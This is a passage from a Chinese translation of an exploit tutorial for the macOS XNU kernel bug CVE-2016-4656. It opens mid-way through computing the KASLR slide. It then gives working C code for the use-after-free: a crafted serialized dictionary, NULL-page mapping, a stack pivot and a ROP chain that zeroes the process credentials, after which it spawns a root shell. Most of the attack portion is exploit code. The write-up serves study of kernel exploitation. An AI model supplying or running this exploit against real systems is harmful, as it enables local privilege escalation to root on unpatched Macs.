ffffff80003934bf mov dword [ds:r14+0x28], eax /* here's the function return address! */
...

在 x86-64 ISA 约定中,call 指令会将地址 0xffffff80003934bf(返回地址)push 到栈中。这个地址会在运行时被偏移,所以现在回去看看我们泄漏的数据吧。

1
0xffffff80037934bf - 0xffffff80003934bf = 0x3400000

现在我们知道地址 0xffffff80037934bf 实际上就是 0xffffff80003934bf 偏移后的地址。让我们来做个数学计算:

1
0xffffff80037934bf - 0xffffff80003934bf = 0x3400000

这也是最后一部分的代码:

1
2
3
4
5
uint64_t hardcoded_ret_addr = 0xffffff80003934bf;
kslide = (*(uint64_t *)(buf + (7 * sizeof(uint64_t)))) - hardcoded_ret_addr;
printf("(i) KASLR slide is %#016llx\n", kslide);

当然也可以动态获取我们需要的那个 kernel 文件中的静态地址,但是这已经超出这篇文章的范围了。

现在我们已经有了 slide!在你自己的例子中,这个值将(非常可能)会不同,并且会在每次重启之后改变。我们现在可以创建一个函数的 ROP 链了,然后再触发 UAF 漏洞来执行它,从而获得 root 权限。让我们继续吧!

Exploiting CVE-2016-4656

现在我们已经有了 kernel slide,我们可以通过 UAF 来继续获得权限。要在各种类型的平台上利用 UAF 漏洞,重要的是要知道堆分配器(heap allocator)是如何工作的。这是因为只有当你对分配器是如何进行分配/释放的操作,有一个清晰的了解之后,才能成功的操控它们。

XNU 的堆分配器被称为 zalloc,并且有大量的在线文档讲解它[8][9][10]。你也可以阅读位于 XNU 源码树 osfmk/kern/zalloc.h 以及 osfmk/kern/zalloc.c 中的代码。为了让你能更好的理解之后的利用程序中,我将快速过一遍这些基本概念。

简单地讲,zalloc 在 zones 中组织分配,一个 zone 表示大小相同的分配列表。 最常用的区域是 kalloc 区域。 kalloc 是一个建立在 zalloc 之上的,更高级别的内核分配器。它将请求到的分配大小向上舍入到最接近的二的幂值。因此,注册的 kalloc 区域持有两个分配的权利。在 OS X 上使用 zprint 命令查看输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[jndok:~jndok(Debug)]: sudo zprint | grep kalloc
kalloc.16 16 1148K 1167K 73472 74733 62742 4K 256
kalloc.32 32 2160K 2627K 69120 84075 55581 4K 128
kalloc.48 48 3448K 3941K 73557 84075 67638 4K 85
kalloc.64 64 5236K 5911K 83776 94584 80523 4K 64
kalloc.80 80 1100K 1167K 14080 14946 13586 4K 51
kalloc.96 96 4160K 5254K 44373 56050 41922 8K 85
kalloc.128 128 2220K 2627K 17760 21018 16915 4K 32
kalloc.160 160 704K 1037K 4505 6643 4115 8K 51
kalloc.256 256 8004K 8867K 32016 35469 30851 4K 16
kalloc.288 288 740K 768K 2631 2733 2179 20K 71
kalloc.512 512 1900K 2627K 3800 5254 3266 4K 8
kalloc.1024 1024 3048K 3941K 3048 3941 2588 4K 4
kalloc.1280 1280 400K 512K 320 410 201 20K 16
kalloc.2048 2048 1872K 2627K 936 1313 909 4K 2
kalloc.4096 4096 6532K 8867K 1633 2216 515 4K 1
kalloc.8192 8192 3160K 3503K 395 437 269 8K 1

这些区域只持有指定大小的分配。被释放的元素保存在一个链表中,其中最近被释放的元素附在结尾处。这是非常重要的,因为这意味着最近被释放的元素区域首先被重新分配。换句话说,如果一个元素被释放了,并且我们足够快,那么我们就可以设法重新分配它。

如何管理重新分配被称作分配 allocation primitive。它基本上是一种可靠第分配所需数量的内核内存的方法。我们将要使用的 allocation primitive 是在字典中 OSString 之后简单地创建一个对象。正如我们已经知道的,OSUnserializeBinary 会为反序列化对象分配内存,这是非常好的。我们还需要的是要准备地知道我们需要分配多少内存以及我们需要向其中写入什么数据。

在我们这个特例中,被释放的元素是 OSString,大小为32字节。也就是说每一个 OSString 都将会被访苏 kalloc.32 区域。因此,为了重新分配已被释放的 OSStirng,我们需要会被分配在同一区域的数据。 OSData 就是一个完美的候选者,因为我们可以通过字典来控制它的缓冲区数据,声明32字节,然后得到重分配。 OSString 将会在我们创建 kOSSerializeObject 引用指向它时被再次使用(还记得 retain 函数吗?)。

好了,现在来总结一下我们已经知道的:我们知道一旦字典被反序列化,则 OSString 的 key 值将会被释放,基于此,我们可以在这之后立即序列化大小为32字节的 OSData,来占据内存。在OSData之后,我们将会序列化一个指向 OSString的引用,这个引用将会在反序列化的时候调用 retain 函数,这样就会触发漏洞,NICE! 最后一件事就是要知道在 OSData 的缓冲区里填充些什么数据。

为此,想想 retain 函数。如果你了解 C++ 的调用约定的话,你可能会知道 OSString 是 OSObject 的子类,所以 retain 实际上是在 OSObject 里实现的,控制流将会通过 vtable(虚表),来调用恰当的父类实现(因为 OSString 并没有实现 retain )。也就是说,我们需要制造一个假的 vtable,来控制执行流程。内核将会认为我们的假 vtable 是完全有效的,而这个假的 vtable 将会包含一个指针指向我们的 stack pivot(栈翻转),而不是父类的 retain。

假的虚表指针将会位于 OSData 缓冲区的开始处,因为在有效的 C++ 对象中,虚表指针通常都是位于对象的开始处。我们将会把我们的虚表以及 stack pivot 放在 NULL 页面中,因为 OSData 中的 NULL 地址更容易被控制。其他地址可能会被某些针对他们的操作更改,而 NULL 不会改变。也就是说,我们要将 OSData 的数据全部填充为0。

跟 info-leak 一样,在浏览代码之前,让我们来看一下 UAF 利用程序的计划:

  • 制作一个触发 UAF 的二进制字典,用被0填充的 OSData 重新分配被释放的 OSString 区域。
  • 制作 NULL page。
  • 在 NULL page 的0x20偏移处放置 stack pivot (这将使得执行程序跳转到转移链)。
  • 在 NULL page 的0x0偏移处放置一个小的转移链(这将会使执行程序跳转到主链)。
  • 触发漏洞。
  • 用现在已经提升的权限,产生一个 shell。

以下是代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
void use_after_free(void)
{
kern_return_t kr = 0;
mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;
/* craft the dictionary */
printf("(i) Crafting dictionary...\n");
void *dict = calloc(1, 512);
uint32_t idx = 0; // index into our data
#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)
WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning
WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 6)); // dict with 6 entries
WRITE_IN(dict, (kOSSerializeString | 4)); // string 'AAA', will get freed
WRITE_IN(dict, (0x00414141));
WRITE_IN(dict, (kOSSerializeBoolean | 1)); // bool, true
WRITE_IN(dict, (kOSSerializeSymbol | 4)); // symbol 'BBB'
WRITE_IN(dict, (0x00424242));
WRITE_IN(dict, (kOSSerializeData | 32)); // data (0x00 * 32)
WRITE_IN(dict, (0x00000000));
WRITE_IN(dict, (0x00000000));
WRITE_IN(dict, (0x00000000));
WRITE_IN(dict, (0x00000000));
WRITE_IN(dict, (0x00000000));
WRITE_IN(dict, (0x00000000));
WRITE_IN(dict, (0x00000000));
WRITE_IN(dict, (0x00000000));
WRITE_IN(dict, (kOSSerializeSymbol | 4)); // symbol 'CCC'
WRITE_IN(dict, (0x00434343));
WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeObject | 1)); // ref to object 1 (OSString)
/* map the NULL page */
mach_vm_address_t null_map = 0;
vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);
kr = mach_vm_allocate(mach_task_self(), &null_map, PAGE_SIZE, 0);
if (kr != KERN_SUCCESS)
return;
macho_map_t *map = map_file_with_path(KERNEL_PATH_ON_DISK);
printf("(i) Leaking kslide...\n");
SET_KERNEL_SLIDE(kslide_infoleak()); // set global kernel slide
/* set the stack pivot at 0x20 */
*(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map); // stack pivot
/* build ROP chain */
printf("(i) Building ROP chain...\n");
rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
/* chain transfer, will redirect execution flow from 0x0 to our main chain above */
uint64_t *transfer = (uint64_t *)0x0;
transfer[0] = ROP_POP_RSP(map);
transfer[1] = (uint64_t)chain->chain;
/* trigger */
printf("(+) All done! Triggering the bug!\n");
host_get_io_master(mach_host_self(), &master); // get iokit master port
kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr != KERN_SUCCESS)
return;
}

在这个片段中我使用了很多来自外部库的代码,它们在 GitHub 上,对于这篇文章的其他代码,它们也同样有效。只需要记住 PUSH_GADGET 宏是被用来向 ROP 链中写入值的就行了,就像序列化数据的 WRITEN_IN 一样。一些 gadget 宏比如 ROP_POP_XXX 是用来在 kernel 文件中寻找 ROP gadgets 的,find_symbol_address 调用也是做的同样的事情,只是它是被用来寻找函数的。ROP 链中的函数以及 gadgets 的地址在插入其中之前,当然也已经构造好偏移了(使用我们之前获得的偏移)。

制作字典

这部分跟我们之前所做的非常相似,但是字典的内容不同。 XML 格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
<dict>
<string>AAA</string>
<boolean>true</boolean>

<symbol>BBB</symbol>
<data>
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
</data>

<symbol>CCC</symbol>
<reference>1</reference> <!-- we are referring to object 1 in the dictionary, the string -->
</dict>

显然,我们在字典的第二个 Key 处使用了 OSSymbol 来避免重分配已被释放的 OSString 区域。 OSData 数据将会被重新分配在 OSString 的区域,当调用 retain 的时候( OSUnserializeBinary 解析引用时),内核将会从我们构造的缓冲区内读取 vtable 指针。这个指针位于缓冲区的首 8 字节,且为0。

内核将会解引用这个指针,添加 retain 偏移量,来读取存储在虚表中的父类 retain 指针。这个偏移量是 0x20 (32),也就是意味着 RIP 会跳转到 0x20 处。

在很多系统中,这是不可利用的,因为制作 NULL 是不可能的,但是在 OSX 中并不一定。因为某些遗留原因,Apple 并没有在32位的二进制中强制要求 __PAGEZERO 段。这也意味着,如果我们使用32位编译的二进制(确实也是,因为之前我们使用了 IOKit 的 APIs ),那么即使缺少了 __PAGEZERO 段,内核也会执行它。换句话说,我们可以很容易的 map NULL ,然后把我们的 stack pivot 放在那儿。

制作 NULL page”)制作 NULL page

就像我们之前说的,在32位二进制中,Apple 对 __PAGEZERO 段并没有强制要求。通过将我们的二进制编译为32位,并附上 -pagezero_size,0 的标志,我们可以使 __PAGEZERO 段失效,并在运行时制作 NULL page 代码:

1
2
3
4
5
6
7
mach_vm_address_t null_map = 0;
vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);
kr = mach_vm_allocate(mach_task_self(), &null_map, PAGE_SIZE, 0);
if (kr != KERN_SUCCESS)
return;

Pivoting the stack

在内核解引用我们构造的指向 NULL+0X20 处的虚表指针之后,我们成功的得到了 RIP 的控制权。

但是,在运行我们的主链之前,我们需要 pivot the stack,比如说,实现 RSP 控制(或者 stack 控制)。这个可以通过多种方式实现,但是最终都是将链地址放入 RSP 中。如果我们没有将 RSP 设置为链地址,那么下一步将不会被执行,因为第一步中的 ret 指令将会返回一个错误的 stack(原始堆栈)。当 RSP 被正确设置了,ret 指令将会从 ROP stack 中读取我们的下一步(或者说下一个函数)的地址,然后将 RIP 设置为这个地址。而这正是我们想要的!

我使用 NULL 解引用来实现堆栈控制的方法是,使用单个的 gadget 来交换 RSP 和 RAX 的值。如果 RAX 中的值能被控制的话,game’s over!在本例中,RAX 将会始终为0(它将会存储我们构造的 OSData 数据的下一个 8 字节,因此一直是0),所以我们可以在0处放置我们的小转移链,然后将0x20处设置为 pivot。当 RIP 得到被设置到0X20处的地址时,将会执行交换的这个函数,将 RSP 设置为0,然后返回,pop 链中的第一个地址到 RIP,并开始执行这个链。

需要注意的是,这个转移链的目的是什么(mapped at 0)。实际上这会重新将 RSP设置为主链。这样做是因为在0和0X20之间我们没有足够多的空间(只有32 字节,也就是说4个地址),完全不够存储我们的权限提升的链。

1
*(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map); // stack pivot

下面是转移的代码,仅仅是读取栈上的值,然后将它 pop 到 RSP 中(之所以我们可以这样做,是因为我们控制了RSP)。

1
2
3
uint64_t *transfer = (uint64_t *)0x0;
transfer[0] = ROP_POP_RSP(map);
transfer[1] = (uint64_t)chain->chain;

The main chain

马上是这个利用程序的精髓所在了。这部分非常重要:执行内核代码,来提升我们的权限。我们需要先找到我们的进程在内存中的 credentials 结构,然后置0。通过将它置0,我们就可以提升我们的进程权限啦(root 的组 ID 均为0)。

我们所做的实际上跟 setuid(0) 非常相似,但是我们不能直接用这个函数,因为它有权限检测。thread_exception_return 函数用于离开内核空间而不造成崩溃,它通常被用于从内核 traps 中返回。

RAX寄存器保存着前一个函数的返回值,ROP_RAX_TO_ARG1 宏用来将 RAX 寄存器和 RDI(下一个函数的第一个参数)交换。这样就会将上一个函数的返回值作为我们 ROP 链中下一个函数的第一个参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
* chain prototype:
*
* proc = current_proc();
* ucred = proc_ucred(proc);
* posix_cred = posix_cred_get(ucred);
*
* bzero(posix_cred, (sizeof(int) * 3));
*
* thread_exception_return();
*/
rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));

最后我们就可以用跟之前的信息泄漏相同的代码来触发这个漏洞啦:

1
2
3
4
5
host_get_io_master(mach_host_self(), &master); // get iokit master port
kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr != KERN_SUCCESS)
return;

没有意外的话,我们将提升我们的权限。为了检测一切是否运行正常,我们简单调用 getuid 函数然后查看它的返回值是否等于0。如果是的话,那么你的进程就已经是 root 权限了,所以简单的调用 system(“/bin/bash”) 来执行 shell 吧!

1
2
3
4
if (getuid() == 0) {
puts("(+) got r00t!");
system("/bin/bash");
}

最后,一切正常运行之后,我们的 shell 将会长这样!

总结

这确实是一篇非常长的阅读(对于我来说,也是一次非常长的写作!)。非常感谢你读到这,我认真地希望你能找到这些的乐趣所在。这也是我的第一篇博客文章,还没有写过这么多,如果你在阅读的过程中发现有些粗糙的地方,还请见谅。

下面是文章中所有引用的链接,以及 GitHub repo 的链接,GitHub 上所有的代码都是有效的。再次感谢你的阅读,当我决定写其他东西的时候,我希望你仍然还在。为了保持更新,请在 Twitter 上关注我.

PoC Code

整个 PoC 的代码都在 GitHub 上,并且有效。

Credits and thanks


Reference

  1. The info leak era on software exploitation –– Fermin J. Serna (@fjserna)
  2. Kernel ASLR –– The iPhone Wiki
  3. What is a code reuse attack? –– Quora
  4. The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) –– Hovav Shacham
  5. User Client Info.txt –– Apple
  6. Using freed memory –– OWASP
  7. An Introduction to Use After Free Vulnerabilities –– Lloyd Simon
  8. Attacking the XNU Kernel For Fun And Profit – Part 1 –– Luca Todesco (@qwertyoruiopz)
  9. Attacking the XNU Kernel in El Capitan –– Luca Todesco (@qwertyoruiopz)
  10. iOS Kernel Heap Armageddon –– Stefan Esser (@i0n1c)
  11. What happens in OS when we dereference a NULL pointer in C? –– StackOverflow
  12. Stack Pivoting –– Neil Sikka
----------------------END END----------------------